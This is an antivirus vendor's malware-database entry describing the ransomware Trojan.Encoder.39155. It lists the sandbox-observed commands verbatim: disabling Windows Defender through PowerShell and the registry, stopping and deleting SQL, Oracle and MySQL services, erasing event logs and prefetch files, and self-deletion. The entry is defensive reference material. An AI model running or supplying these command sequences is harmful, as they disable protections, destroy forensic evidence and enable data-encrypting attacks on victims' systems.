Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Trojan.Encoder.39155

Added to the Dr.Web virus database: 2024-07-03

Virus description added:

Technical Information

Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableIOAVProtection $true"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableScriptScanning 1 "
Executes the following
  • '<SYSTEM32>\taskkill.exe' /f /im sqlservr.exe
  • '<SYSTEM32>\taskkill.exe' /f /im mshta.exe
  • '<SYSTEM32>\taskkill.exe' /f /im oracle.exe
  • '<SYSTEM32>\taskkill.exe' /f /im Mysqld.exe
  • '<SYSTEM32>\taskkill.exe' /f /im notepad.exe
  • '<SYSTEM32>\taskkill.exe' /f /im n.exe
  • '<SYSTEM32>\net.exe' stop wscsvc
Launches a large number of processes
Terminates or attempts to terminate
the following user processes:
  • iexplore.exe
  • firefox.exe
Modifies file system
Creates the following files
  • <Current directory>\deleteitself.bat
Deletes the following files
  • <SYSTEM32>\winevt\logs\debugchannel.etl
  • %WINDIR%\prefetch\rdrservicesupdater.exe-3d26e665.pf
  • %WINDIR%\prefetch\reg.exe-e7e8bd26.pf
  • %WINDIR%\prefetch\regsvr32.exe-8461dbee.pf
  • %WINDIR%\prefetch\regtlibv12.exe-b7c4f383.pf
  • %WINDIR%\prefetch\regtlibv12.exe-d3a27e55.pf
  • %WINDIR%\prefetch\rundll32.exe-36dac103.pf
  • %WINDIR%\prefetch\rundll32.exe-860c49a4.pf
  • %WINDIR%\prefetch\rundll32.exe-e6258edf.pf
  • %WINDIR%\prefetch\sc.exe-945d79ae.pf
  • %WINDIR%\prefetch\searchfilterhost.exe-77482212.pf
  • %WINDIR%\prefetch\searchindexer.exe-4a6353b9.pf
  • %WINDIR%\prefetch\pfsvperfstats.bin
  • %WINDIR%\prefetch\ping.exe-7e94e73e.pf
  • %WINDIR%\prefetch\searchprotocolhost.exe-0cb8cade.pf
  • %WINDIR%\prefetch\setup.exe-04541c92.pf
  • %WINDIR%\prefetch\setup.exe-0e8606b0.pf
  • %WINDIR%\prefetch\setup.exe-3c1c5c45.pf
  • %WINDIR%\prefetch\setup.exe-3caebeac.pf
  • %WINDIR%\prefetch\setup.exe-7c026c7f.pf
  • %WINDIR%\prefetch\setup.exe-995118bd.pf
  • %WINDIR%\prefetch\setup.exe-9c5f31fe.pf
  • %WINDIR%\prefetch\setup.exe-a76b5a2e.pf
  • %WINDIR%\prefetch\setup.exe-b2453f21.pf
  • %WINDIR%\prefetch\setup.exe-c5a66008.pf
  • %WINDIR%\prefetch\setuputility.exe-8e8b4811.pf
  • %WINDIR%\prefetch\servicemodelreg.exe-1f42b3e3.pf
  • %WINDIR%\prefetch\servicemodelreg.exe-afddd121.pf
  • %WINDIR%\prefetch\ose00000.exe-2a4efdbf.pf
  • %WINDIR%\prefetch\ose.exe-51c16f0e.pf
  • %WINDIR%\prefetch\opera_29.0.1795.47_setup.exe-9c628850.pf
  • %WINDIR%\prefetch\firefox.exe-a606b53c.pf
  • %WINDIR%\prefetch\install.exe-3f13c328.pf
  • %WINDIR%\prefetch\installer.exe-6c3ab888.pf
  • %WINDIR%\prefetch\installer.exe-ee562215.pf
  • %WINDIR%\prefetch\jaureg.exe-2358f266.pf
  • %WINDIR%\prefetch\javaw.exe-dccf0ab8.pf
  • %WINDIR%\prefetch\javaws.exe-ed58c697.pf
  • %WINDIR%\prefetch\jp2launcher.exe-7dccd1b9.pf
  • %WINDIR%\prefetch\jre-8u45-windows-x64.exe-61cc34b3.pf
  • %WINDIR%\prefetch\lodctr.exe-3cce0534.pf
  • %WINDIR%\prefetch\lodctr.exe-72cd50d0.pf
  • %WINDIR%\prefetch\logonui.exe-09140401.pf
  • %WINDIR%\prefetch\firefox setup 78.0.2 (x64).ex-d6c4efe8.pf
  • %WINDIR%\prefetch\mofcomp.exe-8fe3d558.pf
  • %WINDIR%\prefetch\mscorsvw.exe-245ed79e.pf
  • %WINDIR%\prefetch\mscorsvw.exe-57d17daf.pf
  • %WINDIR%\prefetch\mscorsvw.exe-90526fac.pf
  • %WINDIR%\prefetch\mscorsvw.exe-c3c515bd.pf
  • %WINDIR%\prefetch\msiexec.exe-a2d55cb6.pf
  • %WINDIR%\prefetch\msiexec.exe-e09a077a.pf
  • %WINDIR%\prefetch\ndp48-x86-x64-allos-enu.exe-54656820.pf
  • %WINDIR%\prefetch\netsh.exe-f1b6da12.pf
  • %WINDIR%\prefetch\ngen.exe-ae594a6b.pf
  • %WINDIR%\prefetch\ngen.exe-ec3f9239.pf
  • %WINDIR%\prefetch\ntosboot-b00dfaad.pf
  • %WINDIR%\prefetch\opera_29.0.1795.47_setup.exe-839f60fd.pf
  • %WINDIR%\prefetch\mofcomp.exe-fde76efc.pf
  • %WINDIR%\prefetch\setx.exe-a7e52bf4.pf
  • %WINDIR%\prefetch\sppsvc.exe-b0f8131b.pf
  • %WINDIR%\temp\ts_98e.tmp
  • %WINDIR%\prefetch\steamservice.exe-57e215d3.pf
  • %WINDIR%\prefetch\vc_redist.x86.exe-35b8af5d.pf
  • %WINDIR%\prefetch\vc_redist.x86.exe-451fb36d.pf
  • %WINDIR%\prefetch\vc_redist.x86.exe-4da5e6b3.pf
  • %WINDIR%\prefetch\vc_redist.x86.exe-92eb15bb.pf
  • %WINDIR%\prefetch\vc_redist.x86.exe-aace95dd.pf
  • %WINDIR%\prefetch\vssvc.exe-b8afc319.pf
  • %WINDIR%\prefetch\wermgr.exe-0f2ac88c.pf
  • %WINDIR%\prefetch\wevtutil.exe-400d93e8.pf
  • %WINDIR%\prefetch\wevtutil.exe-ef5861c4.pf
  • %WINDIR%\prefetch\winrar-x64-531.exe-91d4b934.pf
  • %WINDIR%\prefetch\wmiadap.exe-f8dfdfa2.pf
  • %WINDIR%\prefetch\vc_redist.x86.exe-1c5672a5.pf
  • %WINDIR%\prefetch\vc_redist.x86.exe-1dcb7807.pf
  • %WINDIR%\prefetch\wmiprvse.exe-1628051c.pf
  • %WINDIR%\prefetch\wusa.exe-f04b35c8.pf
  • %WINDIR%\prefetch\xcopy.exe-41e6513f.pf
  • %WINDIR%\temp\dmi2a28.tmp
  • %WINDIR%\temp\fwtsqmfile00.sqm
  • %WINDIR%\temp\ts_1085.tmp
  • %WINDIR%\temp\ts_126b.tmp
  • %WINDIR%\temp\ts_1395.tmp
  • %WINDIR%\temp\ts_19c0.tmp
  • %WINDIR%\temp\ts_1a3e.tmp
  • %WINDIR%\temp\ts_6cd.tmp
  • %WINDIR%\temp\ts_910.tmp
  • %WINDIR%\prefetch\wuauclt.exe-70318591.pf
  • %WINDIR%\prefetch\wusa.exe-a8d5906c.pf
  • %WINDIR%\prefetch\vc_redist.x64.exe-d3a3c549.pf
  • %WINDIR%\prefetch\vc_redist.x64.exe-b0c890fd.pf
  • %WINDIR%\prefetch\vc_redist.x64.exe-9dedc9d2.pf
  • %WINDIR%\prefetch\svchost.exe-007fea55.pf
  • %WINDIR%\prefetch\svchost.exe-05f624ab.pf
  • %WINDIR%\prefetch\svchost.exe-7cfedea3.pf
  • %WINDIR%\prefetch\taskhost.exe-7238f31d.pf
  • %WINDIR%\prefetch\thunderbird setup 78.9.1 (x64-07c878f8.pf
  • %WINDIR%\prefetch\thunderbird.exe-5119524c.pf
  • %WINDIR%\prefetch\trustedinstaller.exe-3cc531e5.pf
  • %WINDIR%\prefetch\tsetup.1.4.3.exe-ef3d6f27.pf
  • %WINDIR%\prefetch\tsetup.1.4.3.tmp-9455db0f.pf
  • %WINDIR%\prefetch\uninstall.exe-a11d6b07.pf
  • %WINDIR%\prefetch\unlodctr.exe-531facc7.pf
  • %WINDIR%\prefetch\unlodctr.exe-a3d4deeb.pf
  • %WINDIR%\prefetch\steamsetup_2.10.91.91.exe-91d3eed3.pf
  • %WINDIR%\prefetch\unpack200.exe-bb96da5f.pf
  • %WINDIR%\prefetch\vcredist_x64.exe-24aea5d8.pf
  • %WINDIR%\prefetch\vcredist_x64.exe-8227a7ef.pf
  • %WINDIR%\prefetch\vcredist_x64.exe-a53f124b.pf
  • %WINDIR%\prefetch\vcredist_x64.exe-d4929c6b.pf
  • %WINDIR%\prefetch\vcredist_x86.exe-163efd5c.pf
  • %WINDIR%\prefetch\vcredist_x86.exe-73b7ff73.pf
  • %WINDIR%\prefetch\vcredist_x86.exe-96cf69cf.pf
  • %WINDIR%\prefetch\vcredist_x86.exe-c622f3ef.pf
  • %WINDIR%\prefetch\vc_redist.x64.exe-2c3b2083.pf
  • %WINDIR%\prefetch\vc_redist.x64.exe-442857d9.pf
  • %WINDIR%\prefetch\vc_redist.x64.exe-5c158f2f.pf
  • %WINDIR%\prefetch\vc_redist.x64.exe-6181748b.pf
  • %WINDIR%\prefetch\userinit.exe-2257a3e7.pf
  • %WINDIR%\prefetch\dwm.exe-6ffd3da8.pf
  • %WINDIR%\prefetch\shutdown.exe-e7d5c9cc.pf
  • %WINDIR%\prefetch\drvinst.exe-4cb4314a.pf
  • <SYSTEM32>\logfiles\scm\ac4e5acf-89f7-4220-ba21-81ee183975e2
  • <SYSTEM32>\logfiles\scm\4d56425e-6729-4b22-8e87-9cf5a35d6c13
  • <SYSTEM32>\logfiles\scm\5a40e926-9e86-4b89-9cfd-b12311724371
  • <SYSTEM32>\logfiles\scm\5b42dd9c-5a26-4f27-bb95-34603f0997e5
  • <SYSTEM32>\logfiles\scm\5c0aeeea-c154-45be-8499-bea5f11baff6
  • <SYSTEM32>\logfiles\scm\5f5a18eb-dc73-4e45-a11c-b59043598412
  • <SYSTEM32>\logfiles\scm\613612ba-897d-44ce-8dc1-8fc283f9fd51
  • <SYSTEM32>\logfiles\scm\6238a7ba-faf1-47c3-a342-fad3f9cf7c35
  • <SYSTEM32>\logfiles\scm\66ac8a2f-fde7-49cf-a90a-02be56721d7c
  • <SYSTEM32>\logfiles\scm\6738ba6e-ea75-4b6b-b8b8-71f0336dd8ef
  • <SYSTEM32>\logfiles\scm\695a2fb8-0867-4d9b-9df8-686f409aaca9
  • <SYSTEM32>\logfiles\scm\72db7465-bc54-491b-a92a-4637a28c9bbf
  • <SYSTEM32>\logfiles\scm\4bc45b66-8a54-43f9-a00a-55a0c50957cd
  • <SYSTEM32>\logfiles\scm\4c8b01a2-11ff-4c41-848f-508ef4f00cf7
  • <SYSTEM32>\logfiles\scm\753c47ae-ec5e-44b3-95a9-2c8e553f0e39
  • <SYSTEM32>\logfiles\scm\7afcc0ca-7121-422a-ab45-b0e8d599ff08
  • <SYSTEM32>\logfiles\scm\81540b9f-b5bf-47eb-9c95-be195bf2c664
  • <SYSTEM32>\logfiles\scm\9435f817-fed2-454e-88cd-7f78fda62c48
  • <SYSTEM32>\logfiles\scm\994c86ad-a929-4b2c-88a0-4e25a107a029
  • <SYSTEM32>\logfiles\scm\9979cb83-103a-4105-9e5d-c74b0af6d198
  • <SYSTEM32>\logfiles\scm\99a6a4cf-6729-4c3a-bd5d-650668e121f5
  • <SYSTEM32>\logfiles\scm\a35bb7a6-5f0c-4c9f-8450-2b3bed532d51
  • <SYSTEM32>\logfiles\scm\a478c694-6f21-45ea-b190-333c9222b9cb
  • <SYSTEM32>\logfiles\scm\a48cabbf-24c8-4b87-b00f-9261807c3b43
  • <SYSTEM32>\logfiles\scm\a65c83d2-89cb-4e55-8451-36fc63248327
  • <SYSTEM32>\logfiles\scm\a6af9377-77ce-47ab-ad7d-ec32cad0c82d
  • <SYSTEM32>\logfiles\scm\7878fb06-b9d8-47c0-8c16-177a96fbbbde
  • <SYSTEM32>\logfiles\scm\796049aa-7d7b-4e06-9573-86488ce75919
  • <SYSTEM32>\logfiles\scm\486d715e-6aa2-44cf-bc48-b6990cbb53c6
  • <SYSTEM32>\logfiles\scm\47536d45-eeec-4bdc-8183-a4dc1f8da9e4
  • <SYSTEM32>\logfiles\scm\4615dc38-0fc2-4736-9043-4bb495e34cc1
  • <SYSTEM32>\winevt\logs\microsoft-windows-capi2%4operational.evtx
  • <SYSTEM32>\winevt\logs\microsoft-windows-known folders api service.evtx
  • <SYSTEM32>\winevt\logs\microsoft-windows-mui%4admin.evtx
  • <SYSTEM32>\winevt\logs\microsoft-windows-mui%4operational.evtx
  • <SYSTEM32>\winevt\logs\microsoft-windows-offlinefiles%4operational.evtx
  • <SYSTEM32>\winevt\logs\microsoft-windows-printservice%4admin.evtx
  • <SYSTEM32>\winevt\logs\microsoft-windows-readyboost%4operational.evtx
  • <SYSTEM32>\winevt\logs\microsoft-windows-restartmanager%4operational.evtx
  • <SYSTEM32>\winevt\logs\microsoft-windows-windows defender%4operational.evtx
  • <SYSTEM32>\winevt\logs\microsoft-windows-windowssystemassessmenttool%4operational.evtx
  • <SYSTEM32>\winevt\logs\setup.evtx
  • <SYSTEM32>\logfiles\scm\00166f30-a0ee-4242-a5a2-78d7e510e671
  • <SYSTEM32>\winevt\logs\microsoft-windows-branchcachesmb%4operational.evtx
  • <SYSTEM32>\logfiles\scm\0261c20d-a48a-42f1-bd19-591cacc62c2f
  • <SYSTEM32>\logfiles\scm\088482fa-65b8-4e17-9abf-1dcd48e8d373
  • <SYSTEM32>\logfiles\scm\09864cac-d8ef-43c3-8a09-6b1aa1d94fc7
  • <SYSTEM32>\logfiles\scm\09f06bfe-a3c8-40e3-846a-6e6f4000c238
  • <SYSTEM32>\logfiles\scm\0ceabfc1-807f-4b9a-a7b8-7be003f67e56
  • <SYSTEM32>\logfiles\scm\1f7b7221-ae8f-44f3-ba82-f7d260f51964
  • <SYSTEM32>\logfiles\scm\20d9d9a1-6850-4171-8428-8d975321925a
  • <SYSTEM32>\logfiles\scm\21e8dc7c-1165-4f13-9839-7938bf50f753
  • <SYSTEM32>\logfiles\scm\2470470f-2634-478e-b181-571e98a789bb
  • <SYSTEM32>\logfiles\scm\28011108-68df-4c73-b91b-57427d501bba
  • <SYSTEM32>\logfiles\scm\2f57269b-1e09-4e2d-ab1e-b0fdac7d279c
  • <SYSTEM32>\logfiles\scm\33f8aceb-5d41-4518-a0b7-fcf01943e564
  • <SYSTEM32>\logfiles\scm\3e4542ee-fe0a-4407-8803-51042e151fc2
  • <SYSTEM32>\logfiles\scm\044a6734-e90e-4f8f-b357-b2dc8ab3b5ec
  • <SYSTEM32>\logfiles\scm\a7c73732-9f11-4281-8d19-764d4ec9d94d
  • <SYSTEM32>\logfiles\scm\ac668097-4d6b-4093-ac14-014c09dbf820
  • %WINDIR%\prefetch\dotnetfx35setup.exe-7deb9041.pf
  • <SYSTEM32>\logfiles\scm\b0cbab43-44fc-469b-a4ce-87426761fdce
  • <SYSTEM32>\logfiles\scm\scm.evm.2
  • <SYSTEM32>\logfiles\scm\scm.evm.3
  • <SYSTEM32>\logfiles\scm\scm.evm.4
  • %WINDIR%\prefetch\42.0.2311.135_chrome_installe-7fd75326.pf
  • %WINDIR%\prefetch\acrordrdc1501020056_en_us.exe-3b58c109.pf
  • %WINDIR%\prefetch\agapplaunch.db
  • %WINDIR%\prefetch\agglfaulthistory.db
  • %WINDIR%\prefetch\agglfgapphistory.db
  • %WINDIR%\prefetch\agglglobalhistory.db
  • %WINDIR%\prefetch\agrobust.db
  • %WINDIR%\prefetch\aspnet_regiis.exe-75651a3c.pf
  • <SYSTEM32>\logfiles\scm\scm.evm
  • <SYSTEM32>\logfiles\scm\scm.evm.1
  • %WINDIR%\prefetch\aspnet_regiis.exe-86915b5a.pf
  • %WINDIR%\prefetch\bspatch.exe-dd9e5e46.pf
  • %WINDIR%\prefetch\chrome.exe-5617a1bf.pf
  • %WINDIR%\prefetch\clrgc.exe-5d5b90f5.pf
  • %WINDIR%\prefetch\cmd.exe-4a81b364.pf
  • %WINDIR%\prefetch\cmd.exe-ac113aa8.pf
  • %WINDIR%\prefetch\conhost.exe-1f3e9d7e.pf
  • %WINDIR%\prefetch\default-browser-agent.exe-01c82e17.pf
  • %WINDIR%\prefetch\dllhost.exe-5e46fa0d.pf
  • %WINDIR%\prefetch\dllhost.exe-766398d2.pf
  • %WINDIR%\prefetch\dllhost.exe-b2eb1806.pf
  • %WINDIR%\prefetch\dotnetfx35.exe-852dd91f.pf
  • %WINDIR%\prefetch\audiodg.exe-bdfd3029.pf
  • %WINDIR%\prefetch\bfsvc.exe-9c7a4dee.pf
  • <SYSTEM32>\logfiles\scm\fe702d5e-c23e-4e35-893d-31404405e38b
  • <SYSTEM32>\logfiles\scm\fdd56c73-f0d5-41b6-b767-6effd7966428
  • <SYSTEM32>\logfiles\scm\fb3c354d-297a-4eb2-9b58-090f6361906b
  • <SYSTEM32>\logfiles\scm\b6890242-f99f-4cd5-8a68-4dcc2c027602
  • <SYSTEM32>\logfiles\scm\b7d28f2f-15f7-4bc7-80da-207f07a083b4
  • <SYSTEM32>\logfiles\scm\be669c13-8165-4536-96d0-6d6c39292aae
  • <SYSTEM32>\logfiles\scm\c016366b-7126-46ca-b36b-592a3d95a60b
  • <SYSTEM32>\logfiles\scm\c153624b-5bf8-478e-b750-cbd2d47b8287
  • <SYSTEM32>\logfiles\scm\c85a6737-0af5-4420-a26d-0cc507aa60a3
  • <SYSTEM32>\logfiles\scm\ca4b8ff2-a4d2-4d88-a52e-3a5bdaf7f56e
  • <SYSTEM32>\logfiles\scm\cb08f6d6-1019-4ec0-82a0-ce7521e25136
  • <SYSTEM32>\logfiles\scm\cb3d64bf-c0c9-45ff-bfb0-ff1a8f680186
  • <SYSTEM32>\logfiles\scm\cee64558-e1a7-4d9d-80a7-2001912be5b5
  • <SYSTEM32>\logfiles\scm\d0250f3f-6480-484f-b719-42f659ac64d5
  • <SYSTEM32>\logfiles\scm\d292ea93-3514-4d36-8f67-8b05e1d5fafc
  • <SYSTEM32>\logfiles\scm\b64c89b9-c750-44ac-8615-b9f61a39db8c
  • <SYSTEM32>\logfiles\scm\d44c8ba6-8fb0-42da-b09f-1de8294f94bc
  • <SYSTEM32>\logfiles\scm\d848d7bf-fad9-44f7-9f4c-20b83063de64
  • <SYSTEM32>\logfiles\scm\da41de71-8431-42fb-9db0-eb64a961dead
  • <SYSTEM32>\logfiles\scm\dd9f510c-95f4-499a-90c8-bac5bc372ff4
  • <SYSTEM32>\logfiles\scm\dfe71e5e-79f3-41d2-bf54-46b9784d0be0
  • <SYSTEM32>\logfiles\scm\e0270037-d02b-4da1-bee3-2abb41002ff3
  • <SYSTEM32>\logfiles\scm\e22a8667-f75b-4ba9-ba46-067ed4429de8
  • <SYSTEM32>\logfiles\scm\e3163c33-301d-4730-a266-5518c5ed3967
  • <SYSTEM32>\logfiles\scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50
  • <SYSTEM32>\logfiles\scm\eb02381f-d652-4b1c-894a-712498c62c51
  • <SYSTEM32>\logfiles\scm\ec376781-43f8-45d6-aace-d5f1098aa870
  • <SYSTEM32>\logfiles\scm\ee2b4e26-7388-4e38-b892-9271b0ade0bc
  • <SYSTEM32>\logfiles\scm\fa2bc0a6-8d4b-458a-85c8-2b8c72487513
  • <SYSTEM32>\logfiles\scm\d7b6e81d-3cf4-432c-84d2-24213f4316e6
  • %WINDIR%\prefetch\dotnetfx40_full_x86_x64.exe-d34ac1bf.pf
  • %WINDIR%\temp\ts_d96.tmp
Modifies the following files
  • D:\install.log
  • <Drive name for removable media>:\hypothyroidism_slides.pptx
  • <Drive name for removable media>:\samieee_obiee_presentation.pptx
  • <Drive name for removable media>:\roozenedowebinar.pptx
  • <Drive name for removable media>:\508softwareandos.doc
  • <Drive name for removable media>:\lisp_success.doc
  • <Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc
  • <Drive name for removable media>:\hanni_umami_chapter.doc
  • <Drive name for removable media>:\ovp25012015.doc
  • <Drive name for removable media>:\fi51.doc
  • <Drive name for removable media>:\february_catalogue__2015.doc
  • <Drive name for removable media>:\testcertificate.cer
  • <Drive name for removable media>:\contoso_1.cer
  • <Drive name for removable media>:\sdksampleunprivdeveloper.cer
  • <Drive name for removable media>:\pmd.cer
  • <Drive name for removable media>:\contosoroot.cer
  • <Drive name for removable media>:\sdkfailsafeemulator.cer
  • <Drive name for removable media>:\dashborder_120.bmp
  • <Drive name for removable media>:\dashborder_96.bmp
  • <Drive name for removable media>:\dialmap.bmp
  • <Drive name for removable media>:\dashborder_192.bmp
  • <Drive name for removable media>:\tileimage.bmp
  • <Drive name for removable media>:\toolbar.bmp
  • <Drive name for removable media>:\coffee.bmp
  • <Drive name for removable media>:\correct.avi
  • <Drive name for removable media>:\join.avi
  • <Drive name for removable media>:\middaugh_keynote.pptx
  • <Drive name for removable media>:\stoc13_ml_quoc_le.pptx
Deletes itself.
Modifies user data files (Trojan.Encoder).
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Executes the following
  • '<SYSTEM32>\cmd.exe' /c sc stop *sql*
  • '<SYSTEM32>\cmd.exe' /c nc stop CryptSvc
  • '<SYSTEM32>\cmd.exe' /c nc stop DcomLaunch
  • '<SYSTEM32>\cmd.exe' /c nc stop Dhcp
  • '<SYSTEM32>\cmd.exe' /c nc stop Dnscache
  • '<SYSTEM32>\cmd.exe' /c nc stop DPS
  • '<SYSTEM32>\cmd.exe' /c nc stop eventlog
  • '<SYSTEM32>\cmd.exe' /c nc stop EventSystem
  • '<SYSTEM32>\cmd.exe' /c nc stop gpsvc
  • '<SYSTEM32>\cmd.exe' /c nc stop BITS
  • '<SYSTEM32>\cmd.exe' /c nc stop iphlpsvc
  • '<SYSTEM32>\cmd.exe' /c nc stop LanmanWorkstation
  • '<SYSTEM32>\cmd.exe' /c nc stop lmhosts
  • '<SYSTEM32>\cmd.exe' /c nc stop MMCSS
  • '<SYSTEM32>\cmd.exe' /c nc stop MpsSvc
  • '<SYSTEM32>\cmd.exe' /c nc stop Netman
  • '<SYSTEM32>\cmd.exe' /c nc stop netprofm
  • '<SYSTEM32>\cmd.exe' /c nc stop NlaSvc
  • '<SYSTEM32>\cmd.exe' /c nc stop nsi
  • '<SYSTEM32>\cmd.exe' /c nc stop LanmanServer
  • '<SYSTEM32>\cmd.exe' /c nc stop BFE
  • '<SYSTEM32>\cmd.exe' /c nc stop AudioSrv
  • '<SYSTEM32>\cmd.exe' /c nc stop AudioEndpointBuilder
  • '<SYSTEM32>\sc.exe' delete OracleMTSRecoveryService
  • '<SYSTEM32>\sc.exe' stop DzKeyLockService
  • '<SYSTEM32>\sc.exe' stop Mysql
  • '<SYSTEM32>\sc.exe' delete Mysql
  • '<SYSTEM32>\sc.exe' stop OracleVssWriterORCL
  • '<SYSTEM32>\sc.exe' delete DuzonDataSafe
  • '<SYSTEM32>\sc.exe' stop MsDtsServer110
  • '<SYSTEM32>\sc.exe' stop DuzonDataSafe
  • '<SYSTEM32>\sc.exe' delete DzKeyLockDotNetService
  • '<SYSTEM32>\sc.exe' delete OracleJobSchedulerORCL
  • '<SYSTEM32>\sc.exe' delete sqlservr.exe
  • '<SYSTEM32>\sc.exe' stop ReportServer
  • '<SYSTEM32>\sc.exe' delete ReportServer
  • '<SYSTEM32>\sc.exe' delete MsDtsServer120
  • '<SYSTEM32>\sc.exe' delete MSSQLServerOLAPService
  • '<SYSTEM32>\sc.exe' delete MsDtsServer110
  • '<SYSTEM32>\sc.exe' stop MSSQLServerOLAPService
  • '<SYSTEM32>\sc.exe' stop MsDtsServer120
  • '<SYSTEM32>\cmd.exe' /c nc stop AeLookupSvc
  • '<SYSTEM32>\cmd.exe' /c nc stop PcaSvc
  • '<SYSTEM32>\cmd.exe' /c nc stop PlugPlay
  • '<SYSTEM32>\cmd.exe' /c 'reg add "HKCU\Control Panel\Desktop\WindowMetrics" /v BorderColor /t REG_SZ /d 255 0 0 /f'
  • '<SYSTEM32>\sc.exe' delete DzKeyLockService
  • '<SYSTEM32>\cmd.exe' /c 'reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f'
  • '<SYSTEM32>\cmd.exe' /c 'reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f'
  • '<SYSTEM32>\cmd.exe' /c 'reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD / d "0" /f'
  • '<SYSTEM32>\cmd.exe' /c 'sc config WinDefend start = disabled'
  • '<SYSTEM32>\cmd.exe' /c 'sc stop WinDefend'
  • '<SYSTEM32>\cmd.exe' /c <Current directory>\DeleteItself.bat
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Add - MpPreference - ExclusionPath C:\"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Set - MpPreference - DisableRealtimeMonitoring $true; Get - MpComputerStatus"
  • '<SYSTEM32>\cmd.exe' /c 'EmptyWorkingSet'
  • '<SYSTEM32>\cmd.exe' /c 'arp -d *'
  • '<SYSTEM32>\cmd.exe' /c 'ipconfig /flushdns'
  • '<SYSTEM32>\cmd.exe' /c 'freemem'
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "&"%ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" - RemoveDefinitions - All"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "&"%ProgramFiles%\Windows Defender\MpCmdRun.exe" - RemoveDefinitions - All"
  • '<SYSTEM32>\cmd.exe' /c 'MpCmdRun.exe - RemoveDefinitions - All'
  • '<SYSTEM32>\cmd.exe' /c 'powercfg /setactive 8c5e7fda - e8bf - 4a96 - 9a85 - a6e23a8c635c'
  • '<SYSTEM32>\cmd.exe' /c 'powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PERFEPP 100'
  • '<SYSTEM32>\cmd.exe' /c 'powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PERFEPP 0'
  • '<SYSTEM32>\cmd.exe' /c 'reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d 255 0 0 /f'
  • '<SYSTEM32>\cmd.exe' /c 'reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f'
  • '<SYSTEM32>\sc.exe' stop sqlservr.exe
  • '<SYSTEM32>\cmd.exe' /c nc stop Power
  • '<SYSTEM32>\cmd.exe' /c 'reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f'
  • '<SYSTEM32>\cmd.exe' /c nc stop RpcEptMapper
  • '<SYSTEM32>\cmd.exe' /c nc stop RpcSs
  • '<SYSTEM32>\cmd.exe' /c nc stop Schedule
  • '<SYSTEM32>\cmd.exe' /c nc stop SENS
  • '<SYSTEM32>\cmd.exe' /c nc stop ShellHWDetection
  • '<SYSTEM32>\cmd.exe' /c nc stop SSDPSRV
  • '<SYSTEM32>\cmd.exe' /c nc stop Themes
  • '<SYSTEM32>\cmd.exe' /c nc stop TrkWks
  • '<SYSTEM32>\cmd.exe' /c nc stop UxSms
  • '<SYSTEM32>\cmd.exe' /c nc stop WdiServiceHost
  • '<SYSTEM32>\cmd.exe' /c nc stop WdiSystemHost
  • '<SYSTEM32>\cmd.exe' /c nc stop Winmgmt
  • '<SYSTEM32>\cmd.exe' /c nc stop WPDBusEnum
  • '<SYSTEM32>\cmd.exe' /c nc stop wudfsvc
  • '<SYSTEM32>\cmd.exe' /c net stop wscsvc
  • '<SYSTEM32>\net1.exe' stop wscsvc
  • '<SYSTEM32>\cmd.exe' /c 'fsutil behavior set disablewritecache 1'
  • '<SYSTEM32>\cmd.exe' /c 'fsutil behavior set disabledeletenotify 1'
  • '<SYSTEM32>\cmd.exe' /c 'cleanmgr /d C:'
  • '<SYSTEM32>\cmd.exe' /c 'reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f'
  • '<SYSTEM32>\cmd.exe' /c nc stop ProfSvc
  • '<SYSTEM32>\cmd.exe' /c 'reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 0 /f'
  • '<SYSTEM32>\sc.exe' delete DzServerUpdaterService
  • '<SYSTEM32>\cmd.exe' /c sc delete MsDtsServer120
  • '<SYSTEM32>\cmd.exe' /c sc delete OracleMTSRecoveryService
  • '<SYSTEM32>\cmd.exe' /c sc delete OracleOraDb11g_home1ClrAgent
  • '<SYSTEM32>\cmd.exe' /c sc stop OracleJobSchedulerORCL
  • '<SYSTEM32>\cmd.exe' /c sc delete OracleJobSchedulerORCL
  • '<SYSTEM32>\cmd.exe' /c sc stop OracleDBConsoleorcl
  • '<SYSTEM32>\cmd.exe' /c sc delete OracleDBConsoleorcl
  • '<SYSTEM32>\cmd.exe' /c sc delete OracleVssWriterORCL
  • '<SYSTEM32>\cmd.exe' /c sc stop OracleVssWriterORCL
  • '<SYSTEM32>\cmd.exe' /c taskkill /f /im Mysqld.exe
  • '<SYSTEM32>\cmd.exe' /c sc stop Mysql
  • '<SYSTEM32>\cmd.exe' /c sc delete Mysql
  • '<SYSTEM32>\sc.exe' delete MSSQLServerADHelper100
  • '<SYSTEM32>\cmd.exe' /c taskkill /f /im notepad.exe
